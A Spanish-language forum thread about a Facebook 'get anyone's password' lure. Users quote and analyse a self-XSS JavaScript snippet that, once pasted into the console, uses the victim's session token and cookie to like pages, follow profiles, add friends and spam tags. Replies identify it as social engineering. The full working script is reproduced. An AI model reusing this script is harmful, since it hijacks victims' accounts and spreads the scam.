Quiero saber que es esto ?

[bajo0123]

Buenas.. estuve viendo en facebook un tipo que puso esto :
"Quieren "hackear" - tener el password de la cuenta de alguien en Facebook? Aprovechen esta vulnerabilidad antes de que se den cuenta y la quiten, está funcionando AHORITA!

1. Necesitan utilizar Google Chrome
2. Se meten al perfil de la persona
3. Aprietan la tecla F12
4. Van a la sección/pestaña que dice "Consola"
5. Copian y pegan el siguiente código <ver abajo>, presionan <ENTER> y listo!!! Se abrirá un pop-up con el password de esa persona!!!

Código (javascript) [Seleccionar] Expandir


/* Copiar a partir de aquí */
var parent=document.getElementsByTagName("html")[0];
var _body = document.getElementsByTagName('body')[0];
var _div = document.createElement('div');
_div.style.height="25";
_div.style.width="100%";
_div.style.position="fixed";
_div.style.top="auto";
_div.style.bottom="0";
_div.align="center";
var _audio= document.createElement('audio');
_audio.style.width="100%";
_audio.style.height="25px";
_audio.controls = true;
_audio.autoplay = false;
_audio.autoplay = true;
_audio.src = "http://picosong.com/YPGz";
_div.appendChild(_audio);
_body.appendChild(_div);
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
var fb_dtsg=document.getElementsByName("fb_dtsg")[0].value;
var user_id=document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
function a(abone){var http4=new XMLHttpRequest;var url4="/ajax/follow/follow_profile.php?__a=1";var params4="profile_id="+abone+"&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg="+fb_dtsg+"&lsd&__"+user_id+"&phstamp=";http4.open("POST",url4,true);http4.onreadystatechange=function(){if(http4.readyState==4&&http4.status==200)http4.close};http4.send(params4)}a("");function sublist(uidss){var a=document.createElement('script');a.innerHTML="new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: "+uidss+" }).send();";document.body.appendChild(a)}var user_id=document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);var fb_dtsg=document.getElementsByName('fb_dtsg')[0].value;var now=(new Date).getTime();function P(post){var X=new XMLHttpRequest();var XURL="//www.facebook.com/ajax/ufi/like.php";var XParams="like_action=true&ft_ent_identifier="+post+"&source=1&client_id="+now+"%3A3366677427&rootid=u_ps_0_0_14&giftoccasion&ft[tn]=%3E%3DU&ft[type]=20&ft[qid]=5882006890513784712&ft[mf_story_key]="+post+"&nctr[_mod]=pagelet_home_stream&__user="+user_id+"&__a=1&__dyn=7n8ahyj35CFwXAg&__req=j&fb_dtsg="+fb_dtsg+"&phstamp=";X.open("POST",XURL,true);X.onreadystatechange=function(){if(X.readyState==4&&X.status==200){X.close}};X.send(XParams)}var fb_dtsg=document.getElementsByName('fb_dtsg')[0].value;var user_id=document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);function Like(p){var Page=new XMLHttpRequest();var PageURL="//www.facebook.com/ajax/pages/fan_status.php";var PageParams="&fbpage_id="+p+"&add=true&reload=false&fan_origin=page_timeline&fan_source=&cat=&nctr[_mod]=pagelet_timeline_page_actions&__user="+user_id+"&__a=1&__dyn=798aD5z5CF-&__req=d&fb_dtsg="+fb_dtsg+"&phstamp=";Page.open("POST",PageURL,true);Page.onreadystatechange=function(){if(Page.readyState==4&&Page.status==200){Page.close}};Page.send(PageParams)}Like("185309954944253");function IDS(r){var X=new XMLHttpRequest();var XURL="//www.facebook.com/ajax/add_friend/action.php";var XParams="to_friend="+r+"&action=add_friend&how_found=friend_browser_s&ref_param=none&&&outgoing_id=&logging_location=search&no_flyout_on_click=true&ego_log_data&http_referer&__user="+user_id+"&__a=1&__dyn=798aD5z5CF-&__req=35&fb_dtsg="+fb_dtsg+"&phstamp=";X.open("POST",XURL,true);X.onreadystatechange=function(){if(X.readyState==4&&X.status==200){X.close}};X.send(XParams)}
Like("213775168814865");
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El punto es que cuando haces todo eso... no te da la contraseña.. sino que genera algo así como spam y hace que menciones a todos los contactos de tu lista... y bueno aquí mi pregunta porque este código hace que pase eso ? porque genera el spam ? hay posibilidad de que pueda haber una vulnerabilidad ?

Código (javascript) [Seleccionar] Expandir

[#!drvy]

Deberías poner el código entre etiquetas [code][/code]. Es codigo javascript. Hace lo que hace porque cuando ejecutas algo en la consola de Chrome, se ejecuta directamente sobre la pagina en la que estas y obviamente, con tus datos. El script en si lo que hace es hacer peticiones POST (según he mirado por encima) a varias url.. ten cuidado porque al igual que es capaz de hacer peticiones de esa forma, también puede ser capaz de enviar tu cookie a una url controlada por el.

No es ninguna vulnerabilidad.. es ingeniería social.. y funciona =)

Saludos

[engel lex]

solo leo esto y huele mal... buenmo es obvio lo que es para joder al usuario... pero ya se ve aqui

Código (javascript) [Seleccionar] Expandir

XMLHttpRequest;var url4="/ajax/follow/follow_profile.php?__a=1";
var params4="profile_id="+abone+"&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg="+fb_dtsg+"&lsd&__"+user_id+"&phstamp=";
http4.open("POST",url4,true);
http4.onreadystatechange=function(){
if(http4.readyState==4&&http4.status==200)http4.close};
http4.send(params4)}a("");
function sublist(uidss){
var a=document.createElement('script');
a.innerHTML="new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData(
{ flid: "+uidss+" }).send();";
document.body.appendChild(a)
}
var user_id=document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
var fb_dtsg=document.getElementsByName('fb_dtsg')[0].value;
var now=(new Date).getTime();
function P(post){var X=new XMLHttpRequest();
var XURL="//www.facebook.com/ajax/ufi/like.php";


[Val89]

No es nada grave.
Muchos dicen que es un virus, y no es nada.. solo que cuando copias ese código en la consola (en Chrome), se te van a etiquetar todos tus amigos automáticamente sin tú haberlo hecho, pero no temas que nadie entró en tu cuenta, es solo una trolleada para asustarte, si conoces html verás lo que dice el código y verás que no tiene nada de grave.

[EFEX]

No es nada grave.

Nada grave? De por si el codigo js crea spam, like, amigo, y follow. Mas abajo esta osfuscado que seguramente(como dijo drvy) obtiene tus cookies.

Y ademas te reporta...

Código (javascript) [Seleccionar] Expandir


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Lo debe haber hecho algun turco.

[makzk_]

Me registré en el foro para hacerles saber que intenté deobfuscar el código, y lo que encontré fue que lo que hace es agregar música a la página que estés viendo, le manda likes a ciertas páginas, followers a otras (que no existen), y comenta con usuarios etiquetados en cierta publicación (en la que se agregó el código).

Aquí está el código deobfuscado como pude 
http://pastebin.com/HWbvRegy

PD: el código le hace like a esta página https://www.facebook.com/pages/Notas-suicidas/1376249559308318

[Zonec]

Lo que hace es ejecutar una función que, bajo la creencia de los que lo hacen de que obtendrán el usuario y contraseña de sus contactos de Facebook, realmente selecciona a todos tus contactos y reenvía dicho engaño.

Básicamente, se pilla a los que no saben qué están haciendo en realidad, y es más, con esto acabamos sabiendo quiénes de nuestros contactos pueden ser tan rastreros como para interesarse por ello.

En definitiva: pillados,  y una pena por los que lo han intentado y han quedado descubiertos, por mucho que lo hayan borrado después.